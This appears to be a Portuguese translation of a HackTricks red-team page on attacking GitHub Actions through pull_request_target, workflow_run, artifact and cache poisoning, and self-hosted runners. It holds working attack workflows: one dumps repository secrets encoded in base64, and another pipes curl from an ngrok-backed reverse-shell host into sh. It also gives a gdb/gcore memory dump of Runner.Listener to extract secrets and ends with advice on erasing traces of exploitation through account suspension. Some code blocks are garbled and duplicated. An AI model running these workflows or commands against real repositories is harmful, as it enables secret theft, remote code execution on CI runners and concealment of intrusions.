Abusing Github Actions

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

Nesta página você encontrará:

  • Um resumo de todos os impactos de um atacante que consegue acessar uma Ação do Github

  • Diferentes maneiras de obter acesso a uma ação:

  • Ter permissões para criar a ação

  • Abusar dos gatilhos relacionados a pull request

  • Abusar de outras técnicas de acesso externo

  • Pivotar de um repositório já comprometido

  • Por fim, uma seção sobre técnicas de pós-exploração para abusar de uma ação de dentro (causar os impactos mencionados)

Resumo dos Impactos

Para uma introdução sobre Ações do Github, confira as informações básicas.

Caso você consiga executar ações do Github arbitrariamente/injetar código em um repositório, você poderia ser capaz de:

  • Roubar os segredos desse repositório/organização.

  • Se você só puder injetar, pode roubar o que já está presente no fluxo de trabalho.

  • Abusar dos privilégios do repositório para acessar outras plataformas como AWS e GCP.

  • Executar código em workers personalizados (se workers personalizados forem usados) e tentar pivotar a partir daí.

  • Sobrescrever o código do repositório.

  • Isso depende dos privilégios do GITHUB_TOKEN (se houver).

  • Comprometer implantações e outros artefatos.

  • Se o código estiver implantando ou armazenando algo, você poderia modificá-lo e obter mais acesso.

GITHUB_TOKEN

Este "segredo" (vindo de ${{ secrets.GITHUB_TOKEN }} e ${{ github.token }}) é fornecido quando o administrador habilita esta opção:

Este token é o mesmo que um Aplicativo Github usará, então ele pode acessar os mesmos endpoints: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

O Github deveria lançar um fluxo que permite acesso entre repositórios dentro do GitHub, para que um repositório possa acessar outros repositórios internos usando o GITHUB_TOKEN.

Você pode ver as possíveis permissões deste token em: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Observe que o token expira após a conclusão do trabalho. Esses tokens se parecem com isso: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Algumas coisas interessantes que você pode fazer com este token:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Note que em várias ocasiões você poderá encontrar tokens de usuário do github dentro das variáveis de ambiente do Github Actions ou nos segredos. Esses tokens podem conceder a você mais privilégios sobre o repositório e a organização.

Listar segredos na saída da Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Obter shell reverso com segredos

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

É possível verificar as permissões concedidas a um Token do Github em repositórios de outros usuários verificando os logs das ações:

Execução Permitida

Esta seria a maneira mais fácil de comprometer as ações do Github, pois esse caso pressupõe que você tenha acesso para criar um novo repositório na organização, ou tenha privilégios de escrita sobre um repositório.

Se estiver nesse cenário, você pode simplesmente verificar as técnicas de Pós-Exploração.

Execução a partir da Criação de Repositório

No caso de membros de uma organização poderem criar novos repositórios e você puder executar ações do github, você pode criar um novo repositório e roubar os segredos definidos no nível da organização.

Execução a partir de um Novo Branch

Se você puder criar um novo branch em um repositório que já contenha uma Ação do Github configurada, você pode modificá-la, fazer upload do conteúdo e então executar essa ação a partir do novo branch. Dessa forma, você pode exfiltrar segredos do nível do repositório e da organização (mas você precisa saber como eles são chamados).

Você pode tornar a ação modificada executável manualmente, quando um PR é criado ou quando algum código é enviado (dependendo de quão barulhento você deseja ser):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Execução de Forked

Existem diferentes gatilhos que poderiam permitir a um atacante executar uma Ação do Github de outro repositório. Se essas ações acionáveis estiverem mal configuradas, um atacante poderia comprometê-las.

pull_request

O gatilho de fluxo de trabalho pull_request executará o fluxo de trabalho toda vez que uma solicitação de pull for recebida com algumas exceções: por padrão, se for a primeira vez que você está colaborando, algum mantenedor precisará aprovar a execução do fluxo de trabalho:

Como a limitação padrão é para contribuidores de primeira vez, você poderia contribuir corrigindo um bug/tipo válido e então enviar outras PRs para abusar de seus novos privilégios de pull_request.

Testei isso e não funciona: Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e excluiu sua conta.

Além disso, por padrão impede permissões de gravação e acesso a segredos ao repositório de destino, conforme mencionado na documentação:

Com exceção do GITHUB_TOKEN, os segredos não são passados para o executor quando um fluxo de trabalho é acionado a partir de um repositório forkado. O GITHUB_TOKEN tem permissões somente leitura em solicitações de pull de repositórios forkados.

Um atacante poderia modificar a definição da Ação do Github para executar coisas arbitrárias e anexar ações arbitrárias. No entanto, ele não será capaz de roubar segredos ou sobrescrever o repositório por causa das limitações mencionadas.

Sim, se o atacante alterar na PR a ação do github que será acionada, sua Ação do Github será a usada e não a do repositório de origem!

Como o atacante também controla o código sendo executado, mesmo que não haja segredos ou permissões de gravação no GITHUB_TOKEN, um atacante poderia, por exemplo, fazer upload de artefatos maliciosos.

pull_request_target

O gatilho de fluxo de trabalho pull_request_target tem permissão de gravação no repositório de destino e acesso a segredos (e não solicita permissão).

Observe que o gatilho de fluxo de trabalho pull_request_target é executado no contexto base e não no fornecido pela PR (para não executar código não confiável). Para mais informações sobre pull_request_target verifique a documentação. Além disso, para mais informações sobre esse uso específico perigoso, verifique este post do blog do github.

Pode parecer que porque o fluxo de trabalho executado é o definido na base e não na PR é seguro usar pull_request_target, mas há alguns casos em que não é.

E este terá acesso a segredos.

workflow_run

O gatilho workflow_run permite executar um fluxo de trabalho de um diferente quando ele é completado, solicitado ou em_progresso.

Neste exemplo, um fluxo de trabalho é configurado para ser executado após o fluxo de trabalho separado "Executar Testes" ser concluído:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Além disso, de acordo com a documentação: O fluxo de trabalho iniciado pelo evento workflow_run é capaz de acessar segredos e gravar tokens, mesmo que o fluxo de trabalho anterior não tenha feito isso.

Esse tipo de fluxo de trabalho pode ser atacado se estiver dependendo de um fluxo de trabalho que pode ser acionado por um usuário externo via pull_request ou pull_request_target. Alguns exemplos vulneráveis podem ser encontrados neste blog. O primeiro consiste no fluxo de trabalho acionado pelo workflow_run baixando o código dos atacantes: ${{ github.event.pull_request.head.sha }} O segundo consiste em passar um artefato do código não confiável para o fluxo de trabalho workflow_run e usar o conteúdo deste artefato de uma maneira que o torne vulnerável a RCE.

workflow_call

A FAZER

A FAZER: Verificar se, quando executado a partir de um pull_request, o código usado/baixado é o do original ou do PR bifurcado

Abusando da Execução Bifurcada

Mencionamos todas as maneiras pelas quais um atacante externo poderia fazer um fluxo de trabalho do GitHub ser executado, agora vamos ver como essas execuções, se mal configuradas, poderiam ser abusadas:

Execução de checkout não confiável

No caso de pull_request, o fluxo de trabalho será executado no contexto do PR (portanto, executará o código malicioso dos PRs), mas alguém precisa autorizá-lo primeiro e ele será executado com algumas limitações.

No caso de um fluxo de trabalho usando pull_request_target ou workflow_run que depende de um fluxo de trabalho que pode ser acionado a partir de pull_request_target ou pull_request o código do repositório original será executado, então o atacante não pode controlar o código executado.

No entanto, se a ação tiver um checkout explícito do PR que irá obter o código do PR (e não da base), ele usará o código controlado pelo atacante. Por exemplo (verifique a linha 12 onde o código do PR é baixado):

# INSEGURO. Fornecido apenas como exemplo.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

O código potencialmente não confiável é executado durante npm install ou npm build pois os scripts de compilação e os pacotes referenciados são controlados pelo autor do PR.

Um dork do GitHub para pesquisar ações vulneráveis é: event.pull_request pull_request_target extension:yml no entanto, existem diferentes maneiras de configurar os trabalhos para serem executados com segurança, mesmo que a ação seja configurada de forma insegura (como usar condicionais sobre quem é o ator gerando o PR).

Injeções de Script de Contexto

Observe que existem certos contextos do GitHub cujos valores são controlados pelo usuário que cria o PR. Se a ação do GitHub estiver usando esses dados para executar qualquer coisa, isso poderia levar a uma execução de código arbitrário:

pageGh Actions - Context Script Injections

Injeção de Script GITHUB_ENV

De acordo com a documentação: Você pode tornar uma variável de ambiente disponível para etapas subsequentes em um trabalho de fluxo de trabalho definindo ou atualizando a variável de ambiente e escrevendo isso no arquivo de ambiente GITHUB_ENV.

Se um atacante pudesse injetar qualquer valor dentro dessa variável de ambiente, ele poderia injetar variáveis de ambiente que poderiam executar código em etapas seguintes, como LD_PRELOAD ou NODE_OPTIONS.

Por exemplo (este e este), imagine um fluxo de trabalho que confia em um artefato enviado para armazenar seu conteúdo dentro da variável de ambiente GITHUB_ENV. Um atacante poderia enviar algo assim para comprometê-lo:

Ações do GitHub de Terceiros Vulneráveis

Conforme mencionado neste post do blog, esta Ação do GitHub permite acessar artefatos de diferentes fluxos de trabalho e até mesmo repositórios.

O problema é que se o parâmetro path não estiver definido, o artefato é extraído no diretório atual e pode substituir arquivos que poderiam ser usados posteriormente ou até mesmo executados no fluxo de trabalho. Portanto, se o Artefato for vulnerável, um atacante poderia abusar disso para comprometer outros fluxos de trabalho que confiam no Artefato.

Exemplo de fluxo de trabalho vulnerável:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Isso poderia ser atacado com este fluxo de trabalho:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Outro Acesso Externo

Sequestro de Repositório de Namespace Deletado

Se uma conta altera seu nome, outro usuário poderia registrar uma conta com esse nome após algum tempo. Se um repositório tinha menos de 100 estrelas anteriormente à mudança de nome, o Github permitirá que o novo usuário registrado com o mesmo nome crie um repositório com o mesmo nome do que foi deletado.

Portanto, se uma ação estiver usando um repositório de uma conta inexistente, ainda é possível que um atacante possa criar essa conta e comprometer a ação.

Se outros repositórios estiverem usando dependências dos repositórios desse usuário, um atacante poderá sequestrá-los. Aqui você tem uma explicação mais completa: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Pivoteamento de Repositório

Nesta seção, falaremos sobre técnicas que permitiriam pivoteamento de um repositório para outro supondo que tenhamos algum tipo de acesso no primeiro (verifique a seção anterior).

Envenenamento de Cache

Um cache é mantido entre execuções de fluxo de trabalho na mesma branch. Isso significa que se um atacante comprometer um pacote que é então armazenado no cache e baixado e executado por um fluxo de trabalho mais privilegiado, ele será capaz de comprometer também esse fluxo de trabalho.

pageGH Actions - Cache Poisoning

Envenenamento de Artefato

Os fluxos de trabalho podem usar artefatos de outros fluxos de trabalho e até mesmo de repositórios, se um atacante conseguir comprometer a Ação do Github que faz upload de um artefato que é posteriormente usado por outro fluxo de trabalho, ele poderá comprometer os outros fluxos de trabalho:

pageGh Actions - Artifact Poisoning

Pós-Exploração de uma Ação

Acessando AWS e GCP via OIDC

Verifique as seguintes páginas:

pageAWS - Federation AbusepageGCP - Federation Abuse

Acessando segredos

Se você está injetando conteúdo em um script, é interessante saber como você pode acessar segredos:

  • Se o segredo ou token estiver definido como uma variável de ambiente, ele pode ser acessado diretamente através do ambiente usando printenv.

Listar segredos na saída da Ação do Github

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Obter shell reverso com segredos</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Se o segredo é usado diretamente em uma expressão, o script shell gerado é armazenado no disco e é acessível.

cat /home/runner/work/_temp/*

* Para ações em JavaScript, os segredos são enviados por meio de variáveis de ambiente
* ```bash
ps axe | grep node
  • Para uma ação personalizada, o risco pode variar dependendo de como um programa está usando o segredo obtido do argumento:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Abusando de runners auto-hospedados

A maneira de descobrir quais Ações do Github estão sendo executadas em infraestrutura não-Github é procurar por runs-on: self-hosted na configuração yaml da Ação do Github.

Os runners auto-hospedados podem ter acesso a informações extra sensíveis, a outros sistemas de rede (pontos finais vulneráveis na rede? serviço de metadados?) ou, mesmo que esteja isolado e destruído, mais de uma ação pode ser executada ao mesmo tempo e a maliciosa poderia roubar os segredos da outra.

Nos runners auto-hospedados, também é possível obter os segredos do processo _Runner.Listener que conterá todos os segredos dos fluxos de trabalho em qualquer etapa ao despejar sua memória:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Verifique este post para mais informações.

Registro de Imagens Docker do Github

É possível criar ações no Github que irão construir e armazenar uma imagem Docker dentro do Github. Um exemplo pode ser encontrado no seguinte trecho expansível:

Ação do Github para Construir e Enviar Imagem Docker

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Como você pôde ver no código anterior, o registro do Github é hospedado em **`ghcr.io`**.

Um usuário com permissões de leitura sobre o repositório poderá então baixar a Imagem Docker usando um token de acesso pessoal:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Em seguida, o usuário poderia procurar por segredos vazados nas camadas da imagem Docker:

Informações sensíveis nos logs das ações do Github

Mesmo que o Github tente detectar valores secretos nos logs das ações e evite mostrá-los, outros dados sensíveis que poderiam ter sido gerados na execução da ação não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que seja configurado especificamente.

Cobrindo seus Rastros

(Técnica de aqui) Em primeiro lugar, qualquer PR levantado é claramente visível ao público no Github e na conta de destino do GitHub. No GitHub, por padrão, não podemos excluir um PR da internet, mas há uma reviravolta. Para contas do Github que são suspensas pelo Github, todos os seus PRs são automaticamente excluídos e removidos da internet. Portanto, para ocultar sua atividade, você precisa ou ter sua conta do GitHub suspensa ou ter sua conta sinalizada. Isso ocultaria todas as suas atividades no GitHub da internet (basicamente removeria todos os seus PRs de exploração)

Uma organização no GitHub é muito proativa em relatar contas ao GitHub. Tudo o que você precisa fazer é compartilhar "algumas coisas" em Issue e eles garantirão que sua conta seja suspensa em 12 horas :p e aí está, tornou sua exploração invisível no github.

A única maneira para uma organização descobrir que foi alvo é verificar os logs do GitHub a partir do SIEM, pois a partir da interface do GitHub o PR seria removido.

Ferramentas

As seguintes ferramentas são úteis para encontrar fluxos de trabalho de ações do Github e até encontrar vulneráveis:

Última actualización